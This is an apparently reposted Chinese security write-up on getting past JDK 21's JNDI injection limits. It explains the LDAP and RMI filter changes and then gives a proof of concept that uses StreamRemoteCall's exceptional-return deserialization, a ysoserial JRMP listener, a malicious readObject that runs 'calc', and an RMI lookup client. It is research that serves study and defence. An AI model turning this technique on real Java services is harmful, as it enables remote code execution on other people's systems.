jdk21bypass
限制点
对LDAP限制
我们知道打LDAP反序列化无论是远程类加载,还是直接传入序列化的数据或者是打工厂类都是在我们的decodeObject方法
jdk21
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);//打远程类的
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// javaRemoteLocation attribute (RMI stub will be created)
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
jdk8u65
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
可以看到21是多了
VersionHelper.isSerialDataAllowed()
public static boolean isSerialDataAllowed() {
return trustSerialData;
}
而trustSerialData默认就是false
所以打ldap反序列化是很难进行的了
对rmi的限制
我们知道高版本打rmi一般都是打的本地工厂类,我们看看21又对这个做了什么限制
打工厂类,我们都是利用
NamingManager.getObjectInstance()
去触发工厂类的getObjectInstance()方法
在我们的21是NamingManagerHelper
我们看到getObjectInstance()方法
看到对比了,我们看一下这个新参数是什么
return NamingManagerHelper.getObjectInstance(obj, name, this,
environment, ObjectFactoriesFilter::checkRmiFilter);
我们看到checkRmiFilter
public static boolean checkRmiFilter(Class<?> serialClass) {
return checkInput(RMI_FILTER, () -> serialClass);
}
RMI_FILTER
private static final ConfiguredFilter RMI_FILTER =
initializeFilter(RMI_FACTORIES_FILTER_PROPNAME, DEFAULT_RMI_SP_VALUE);
可以看到是只能是我们这个jdk.naming.rmi/com.sun.jndi.rmi.*;!"包下的
private static final String DEFAULT_RMI_SP_VALUE =
"jdk.naming.rmi/com.sun.jndi.rmi.**;!*";
突破
既然在我们两个点上给我们限制了,我们只能找其他可以反序列化的地方了
StreamRemoteCall#executeCall()
分析
我们先看到这个方法
public void executeCall() throws Exception {
byte returnType;
// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}
// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
discardPendingRefs();
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
discardPendingRefs();
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}
可以看到代码逻辑是读取我们的conn的流,然后传给in,然后根据我们的returnType
如果是case TransportConstants.ExceptionalReturn:
那么就反序列化我们的in
ex = in.readObject();
而在我们的RMI的流程里面,就会走到这个方法
executeCall:234, StreamRemoteCall (sun.rmi.transport)
invoke:382, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:137, RegistryContext (com.sun.jndi.rmi.registry)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:409, InitialContext (javax.naming)
main:8, Client
调试分析后其实
如果我们能够控制conn返回的内容,那么就可以在这里实现反序列化
但是需要满足case TransportConstants.ExceptionalReturn:,而我们的jrmp的listner正好返回的就是
复现
我们最后的在一个端口放上我们的恶意代码的就是JRMP了,直接使用yso里面的工具,我这里为了方便,自己假设有一个可以利用的链子
package ysoserial.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilObject implements Serializable {
private void readObject(ObjectInputStream s) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后启用我们的yso的
JRMP listener
然后写一个客户端,去连接我们端口
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1234/any_is_ok";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
运行弹出计算器
来源:https://xz.aliyun.com/
原文始发于微信公众号(船山信安):jdk21下的jndi注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论